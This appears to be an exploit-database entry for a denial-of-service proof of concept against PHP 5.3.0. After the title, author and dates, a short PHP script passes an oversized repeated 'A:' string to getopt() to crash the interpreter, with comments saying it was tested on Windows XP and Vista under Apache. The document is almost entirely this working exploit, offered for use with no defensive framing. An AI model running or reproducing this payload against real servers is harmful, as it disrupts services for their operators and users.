PHP 5.3.0 - 'getopt()' Denial of Service

Author: Napst3r
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date_added: 2010-04-11 
date_updated: 2017-02-01 
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<?php
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## PHP 5.3.0 getopt() Denial of service
## Tested on WIN XP FR SP3, WIN VISTA FR SP2, Apache, PHP 5.3.0
## Denial of service
## Author: Napst3r
## Greets To: My Laptop &  all My Friends
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$buffer  = str_repeat('A:', 9999);
$options = getopt($buffer);

?>